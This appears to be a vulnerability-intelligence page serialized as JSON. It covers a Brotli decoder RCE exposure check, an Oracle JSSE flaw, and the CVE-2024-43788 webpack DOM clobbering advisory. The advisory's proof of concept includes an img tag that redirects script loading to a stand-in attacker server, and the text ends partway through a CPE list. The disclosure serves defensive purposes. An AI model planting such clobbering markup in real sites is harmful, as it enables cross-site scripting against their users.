[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"landing-trending":3,"cve-CVE-2024-43788":30,"landing-articles":325},{"count":4,"next":5,"previous":6,"results":7},266,"http:\u002F\u002Fweb:8606\u002Fapi\u002Ftrending_attacks\u002F?page=2&page_size=3&sorted_by=-published_at",null,[8,17,20],{"id":9,"title":10,"summary":11,"published_at":12,"severity":13,"vendor":14,"products":15},265,"Google Brotli decoder - Remote Code Execution via compressed requests (Exploitation Check)","This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it.\r\n\r\nWhy a second control\r\n\r\nCVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli (\"br\") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution.\r\n\r\nAny server that decompresses request bodies sent with \"Content-Encoding: br\" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library.\r\n\r\nThe flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support.\r\n\r\nWhat this control checks\r\n\r\nPatrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service.\r\n\r\nHow to read the result\r\n\r\nPotentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside.\r\n\r\nThis check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification.\r\n\r\nAffected and fixed versions\r\n\r\nGoogle Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution.\r\n\r\nRecommendations\r\n\r\nUpdate every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library.\r\n\r\nReduce the exposure until the update is deployed. Reject requests with \"Content-Encoding: br\" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as \"gzip, br\". On Envoy and Istio, disable request decompression for Brotli.\r\n\r\nReview outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.","2026-10-24T10:37:22.192753Z",4,"google",[16],"brotli",{"id":4,"title":10,"summary":18,"published_at":12,"severity":13,"vendor":14,"products":19},"This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it.\r\n\r\nWhy a second control\r\n\r\nCVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli (\"br\") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution.\r\n\r\nAny server that decompresses request bodies sent with \"Content-Encoding: br\" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library.\r\n\r\nThe flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support.\r\n\r\nWhat this control checks\r\n\r\nPatrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service.\r\n\r\nHow to read the result\r\n\r\nPotentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside.\r\n\r\nThis check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification.\r\n\r\nTwo situations are possible. When the decoding is done by your own application or reverse proxy, identify the component and update it. If an update is not possible right away, reject requests with \"Content-Encoding: br\" at the reverse proxy or WAF.\r\n\r\nWhen the asset is hosted on a managed platform or behind a CDN (for example Platform.sh, Upsun or Fastly), the decoding may be done by the provider's edge router, in front of your application. You cannot patch it yourself, but this router handles all the traffic of your site. Ask your provider to confirm that its edge components are patched against CVE-2026-111497. Assets hosted on a managed platform or behind a CDN carry the tag \"paas: platform.sh\" or \"cdn: fastly\" in the asset view: for these assets, the Brotli decoding is done by the provider's edge router, in front of your application, and only the provider can patch it.\r\n\r\nAffected and fixed versions\r\n\r\nGoogle Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution.\r\n\r\nRecommendations\r\n\r\nUpdate every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library.\r\n\r\nReduce the exposure until the update is deployed. Reject requests with \"Content-Encoding: br\" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as \"gzip, br\". On Envoy and Istio, disable request decompression for Brotli.\r\n\r\nContact your edge provider about the status of the pathing (Fastly \u002F Plateform.sh)\r\n\r\nReview outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.",[16],{"id":21,"title":22,"summary":23,"published_at":24,"severity":13,"vendor":25,"products":26},263,"Oracle Java SE JSSE - Improper Access Control & Unauthorized Data Access & Unauthorized Data Modification","Oracle Java SE is the Java runtime and development platform. Its JSSE (Java Secure Socket Extension) component provides TLS\u002FSSL for secure network communication. Oracle GraalVM is a JDK distribution based on the same platform.\r\n\r\nCVE-2026-91403\r\n\r\nA vulnerability in the JSSE component of Oracle Java SE, Oracle GraalVM for JDK and Oracle GraalVM Enterprise Edition can be exploited by an unauthenticated attacker with network access over multiple protocols. A successful attack can give unauthorized access to critical data and allow unauthorized creation, deletion or modification of data. It can also affect sandboxed Java Web Start applications and applets that run untrusted code. The record lists the weakness as CWE-284 (Improper Access Control) in the CISA ADP entry, while another database lists CWE-295. The record lists these affected versions:\r\n- Oracle Java SE: 8u511, 8u511-perf, 11.0.33, 17.0.21, 21.0.13, 25.0.5, 27.0.1.\r\n- Oracle GraalVM for JDK: 17.0.21, 21.0.13.\r\n- Oracle GraalVM Enterprise Edition: 21.3.20.\r\n\r\nOracle published an out-of-cycle Security Alert on October 21, 2026. One secondary source says the fix makes Java distrust eight compromised intermediate CA certificates shipped with the JDK. The Oracle-focused sources do not confirm this root cause, so check it against the Oracle advisory. CISA ADP SSVC data shows Exploitation: none, Automatable: yes, Technical Impact: total. The CVE is not in the CISA KEV catalog as of October 22, 2026, and its EPSS score is below 1%.","2026-10-23T14:12:32.871954Z","Oracle",[27,28,29],"Oracle Java SE","Oracle GraalVM Enterprise Edition","Oracle GraalVM for JDK",{"id":31,"cve_id":32,"euvd_id":33,"summary":34,"published":35,"cvss_data":36,"is_remote":47,"cwes":48,"cpes":50,"technologies":292,"references":295,"score":303,"epss_score":304,"epss_percentile":305,"is_kev":306,"cisa_kev_date_added":6,"cisa_kev_due_date":6,"cisa_ssvc":307,"attack_mappings":317,"exploits":324},29576,"CVE-2024-43788","EUVD-2024-2497","Webpack's AutoPublicPathRuntimeModule has a DOM Clobbering Gadget that leads to XSS\n\n### Summary\n\nWe discovered a DOM Clobbering vulnerability in Webpack’s `AutoPublicPathRuntimeModule`. The DOM Clobbering gadget in the module can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an `img` tag with an unsanitized `name` attribute) are present.\n\nWe found the real-world exploitation of this gadget in the Canvas LMS which allows XSS attack happens through an javascript code compiled by Webpack (the vulnerable part is from Webpack). We believe this is a severe issue. If Webpack’s code is not resilient to DOM Clobbering attacks, it could lead to significant security vulnerabilities in any web application using Webpack-compiled code.\n\n\n### Details\n\n#### Backgrounds\n\nDOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:\n\n[1] https:\u002F\u002Fscnps.co\u002Fpapers\u002Fsp23_domclob.pdf\n[2] https:\u002F\u002Fresearch.securitum.com\u002Fxss-in-amp4email-dom-clobbering\u002F\n\n\n#### Gadgets found in Webpack\n\nWe identified a DOM Clobbering vulnerability in Webpack’s `AutoPublicPathRuntimeModule`. When the `output.publicPath` field in the configuration is not set or is set to `auto`, the following code is generated in the bundle to dynamically resolve and load additional JavaScript files:\n\n```\n\u002F******\u002F \t\u002F* webpack\u002Fruntime\u002FpublicPath *\u002F\n\u002F******\u002F \t(() => {\n\u002F******\u002F \t\tvar scriptUrl;\n\u002F******\u002F \t\tif (__webpack_require__.g.importScripts) scriptUrl = __webpack_require__.g.location + \"\";\n\u002F******\u002F \t\tvar document = __webpack_require__.g.document;\n\u002F******\u002F \t\tif (!scriptUrl && document) {\n\u002F******\u002F \t\t\tif (document.currentScript)\n\u002F******\u002F \t\t\t\tscriptUrl = document.currentScript.src;\n\u002F******\u002F \t\t\tif (!scriptUrl) {\n\u002F******\u002F \t\t\t\tvar scripts = document.getElementsByTagName(\"script\");\n\u002F******\u002F \t\t\t\tif(scripts.length) {\n\u002F******\u002F \t\t\t\t\tvar i = scripts.length - 1;\n\u002F******\u002F \t\t\t\t\twhile (i > -1 && (!scriptUrl || !\u002F^http(s?):\u002F.test(scriptUrl))) scriptUrl = scripts[i--].src;\n\u002F******\u002F \t\t\t\t}\n\u002F******\u002F \t\t\t}\n\u002F******\u002F \t\t}\n\u002F******\u002F \t\t\u002F\u002F When supporting browsers where an automatic publicPath is not supported you must specify an output.publicPath manually via configuration\n\u002F******\u002F \t\t\u002F\u002F or pass an empty string (\"\") and set the __webpack_public_path__ variable from your code to use your own logic.\n\u002F******\u002F \t\tif (!scriptUrl) throw new Error(\"Automatic publicPath is not supported in this browser\");\n\u002F******\u002F \t\tscriptUrl = scriptUrl.replace(\u002F#.*$\u002F, \"\").replace(\u002F\\?.*$\u002F, \"\").replace(\u002F\\\u002F[^\\\u002F]+$\u002F, \"\u002F\");\n\u002F******\u002F \t\t__webpack_require__.p = scriptUrl;\n\u002F******\u002F \t})();\n```\n\nHowever, this code is vulnerable to a DOM Clobbering attack. The lookup on the line with `document.currentScript` can be shadowed by an attacker, causing it to return an attacker-controlled HTML element instead of the current script element as intended. In such a scenario, the `src` attribute of the attacker-controlled element will be used as the `scriptUrl` and assigned to `__webpack_require__.p`. If additional scripts are loaded from the server, `__webpack_require__.p` will be used as the base URL, pointing to the attacker's domain. This could lead to arbitrary script loading from the attacker's server, resulting in severe security risks.\n\n### PoC\n\nPlease note that we have identified a real-world exploitation of this vulnerability in the Canvas LMS. Once the issue has been patched, I am willing to share more details on the exploitation. For now, I’m providing a demo to illustrate the concept.\n\nConsider a website developer with the following two scripts, `entry.js` and `import1.js`, that are compiled using Webpack:\n\n```\n\u002F\u002F entry.js\nimport('.\u002Fimport1.js')\n  .then(module => {\n    module.hello();\n  })\n  .catch(err => {\n    console.error('Failed to load module', err);\n  });\n```\n\n```\n\u002F\u002F import1.js\nexport function hello () {\n  console.log('Hello');\n}\n```\n\nThe webpack.config.js is set up as follows:\n```\nconst path = require('path');\n\nmodule.exports = {\n  entry: '.\u002Fentry.js', \u002F\u002F Ensure the correct path to your entry file\n  output: {\n    filename: 'webpack-gadgets.bundle.js', \u002F\u002F Output bundle file\n    path: path.resolve(__dirname, 'dist'), \u002F\u002F Output directory\n    publicPath: \"auto\", \u002F\u002F Or leave this field not set\n  },\n  target: 'web',\n  mode: 'development',\n};\n```\n\nWhen the developer builds these scripts into a bundle and adds it to a webpage, the page could load the `import1.js` file from the attacker's domain, `attacker.controlled.server`. The attacker only needs to insert an `img` tag with the `name` attribute set to `currentScript`. This can be done through a website's feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page.\n\n```\n\u003C!DOCTYPE html>\n\u003Chtml>\n\u003Chead>\n  \u003Ctitle>Webpack Example\u003C\u002Ftitle>\n  \u003C!-- Attacker-controlled Script-less HTML Element starts--!>\n  \u003Cimg name=\"currentScript\" src=\"https:\u002F\u002Fattacker.controlled.server\u002F\">\u003C\u002Fimg>\n  \u003C!-- Attacker-controlled Script-less HTML Element ends--!>\n\u003C\u002Fhead>\n\u003Cscript src=\".\u002Fdist\u002Fwebpack-gadgets.bundle.js\">\u003C\u002Fscript>\n\u003Cbody>\n\u003C\u002Fbody>\n\u003C\u002Fhtml>\n```\n\n### Impact\n\nThis vulnerability can lead to cross-site scripting (XSS) on websites that include Webpack-generated files and allow users to inject certain scriptless HTML tags with improperly sanitized name or id attributes.\n\n### Patch\n\nA possible patch to this vulnerability could refer to the Google Closure project which makes itself resistant to DOM Clobbering attack: https:\u002F\u002Fgithub.com\u002Fgoogle\u002Fclosure-library\u002Fblob\u002Fb312823ec5f84239ff1db7526f4a75cba0420a33\u002Fclosure\u002Fgoog\u002Fbase.js#L174\n\n```\n\u002F******\u002F \t\u002F* webpack\u002Fruntime\u002FpublicPath *\u002F\n\u002F******\u002F \t(() => {\n\u002F******\u002F \t\tvar scriptUrl;\n\u002F******\u002F \t\tif (__webpack_require__.g.importScripts) scriptUrl = __webpack_require__.g.location + \"\";\n\u002F******\u002F \t\tvar document = __webpack_require__.g.document;\n\u002F******\u002F \t\tif (!scriptUrl && document) {\n\u002F******\u002F \t\t\tif (document.currentScript && document.currentScript.tagName.toUpperCase() === 'SCRIPT') \u002F\u002F Assume attacker cannot control script tag, otherwise it is XSS already :>\n\u002F******\u002F \t\t\t\tscriptUrl = document.currentScript.src;\n\u002F******\u002F \t\t\tif (!scriptUrl) {\n\u002F******\u002F \t\t\t\tvar scripts = document.getElementsByTagName(\"script\");\n\u002F******\u002F \t\t\t\tif(scripts.length) {\n\u002F******\u002F \t\t\t\t\tvar i = scripts.length - 1;\n\u002F******\u002F \t\t\t\t\twhile (i > -1 && (!scriptUrl || !\u002F^http(s?):\u002F.test(scriptUrl))) scriptUrl = scripts[i--].src;\n\u002F******\u002F \t\t\t\t}\n\u002F******\u002F \t\t\t}\n\u002F******\u002F \t\t}\n\u002F******\u002F \t\t\u002F\u002F When supporting browsers where an automatic publicPath is not supported you must specify an output.publicPath manually via configuration\n\u002F******\u002F \t\t\u002F\u002F or pass an empty string (\"\") and set the __webpack_public_path__ variable from your code to use your own logic.\n\u002F******\u002F \t\tif (!scriptUrl) throw new Error(\"Automatic publicPath is not supported in this browser\");\n\u002F******\u002F \t\tscriptUrl = scriptUrl.replace(\u002F#.*$\u002F, \"\").replace(\u002F\\?.*$\u002F, \"\").replace(\u002F\\\u002F[^\\\u002F]+$\u002F, \"\u002F\");\n\u002F******\u002F \t\t__webpack_require__.p = scriptUrl;\n\u002F******\u002F \t})();\n```\n\nPlease note that if we do not receive a response from the development team within three months, we will disclose this vulnerability to the CVE agent.","2024-08-27T19:50:00Z",{"cvss_v3.1":37},{"scope":38,"version":39,"baseScore":40,"attackVector":41,"baseSeverity":42,"vectorString":43,"integrityImpact":44,"userInteraction":45,"attackComplexity":46,"availabilityImpact":46,"privilegesRequired":44,"confidentialityImpact":44},"UNCHANGED","3.1",6.4,"NETWORK","MEDIUM","CVSS:3.1\u002FAV:N\u002FAC:H\u002FPR:L\u002FUI:N\u002FS:U\u002FC:L\u002FI:L\u002FA:H","LOW","NONE","HIGH",true,[49],"CWE-79",[51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,123,124,125,126,127,128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150,151,152,153,154,155,156,157,158,159,160,161,162,163,164,165,166,167,168,169,170,171,172,173,174,175,176,177,178,179,180,181,182,183,184,185,186,187,188,189,190,191,192,193,194,195,196,197,198,199,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255,256,257,258,259,260,261,262,263,264,265,266,267,268,269,270,271,272,273,274,275,276,277,278,279,280,281,282,283,284,285,286,287,288,289,290,291],"cpe:2.3:a:webpack.js:webpack:5.33.0:*:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.71.0:*:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.72.0:*:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.86.0:*:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.0.0:alpha11:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.0.0:rc1:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.39.0:*:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.0.0:beta19:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.33.2:*:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.12.3:*:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.72.1:*:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.91.0:*:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.27.1:*:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.0.0:rc3:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.0.0:alpha4:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.34.0:*:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.8.0:*:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.27.2:*:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.92.0:*:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.0.0:alpha10:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.0.0:alpha23:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.0.0:alpha26:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.0.0:beta29:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.65.0:*:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.31.1:*:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.26.0:*:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.0.0:beta14:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.73.0:*:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.88.1:*:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.0.0:beta26:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.84.0:*:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.74.0:*:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.20.1:*:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.0.0:alpha20:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.0.0:alpha15:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.76.2:*:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.4.0:*:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.57.0:*:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.15.0:*:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.3.0:*:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.0.0:alpha9:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.21.0:*:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.0.0:alpha27:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.81.0:*:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.24.1:*:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.0.0:rc0:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.0.0:beta6:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.78.0:*:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.41.0:*:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.12.2:*:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.38.1:*:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.17.0:*:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.11.0:*:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.60.0:*:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.0.0:beta8:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.20.2:*:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.0.0:beta24:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.0.0:beta11:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.26.3:*:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.0.0:alpha12:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.0.0:alpha7:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.0.0:alpha1:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.1.2:*:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.10.0:*:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.24.3:*:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.51.0:*:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.0.0:alpha0:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.0.0:beta32:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.10.2:*:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.0.0:beta22:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.56.1:*:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.49.0:*:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.25.0:*:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.21.2:*:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.45.0:*:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.64.3:*:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.26.1:*:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.3.2:*:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.56.0:*:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.90.2:*:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.0.0:beta7:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.1.1:*:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.0.0:beta27:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.0.0:beta15:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.21.1:*:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.24.0:*:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.58.2:*:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.68.0:*:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.31.2:*:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.0.0:beta10:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.48.0:*:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.0.0:beta33:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.25.1:*:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.62.1:*:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.66.0:*:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.59.0:*:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.82.0:*:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.0.0:alpha24:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.0.0:beta31:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.32.0:*:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.26.2:*:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.55.0:*:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.89.0:*:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.10.1:*:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.22.0:*:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.28.0:*:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.51.2:*:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.92.1:*:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.2.1:*:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.9.0:*:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.0.0:beta21:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.61.0:*:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.82.1:*:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.36.2:*:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.54.0:*:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.0.0:alpha13:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.35.0:*:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.58.1:*:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.69.1:*:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.0.0:beta18:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.57.1:*:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.88.2:*:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.90.0:*:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.0.0:beta16:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.36.1:*:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.84.1:*:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.64.2:*:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.2.0:*:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.67.0:*:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.0.0:alpha22:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.42.1:*:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.0.0:beta9:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.0.0:rc5:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.29.0:*:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.35.1:*:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.90.3:*:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.0.0:rc6:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.0.0:alpha8:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.70.0:*:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.0.0:alpha32:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.76.1:*:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.7.0:*:*:*:*:node.js:*:*","cpe:2.3:a:webpack.js:webpack:5.0.0:alpha3:*:*:*:node.js: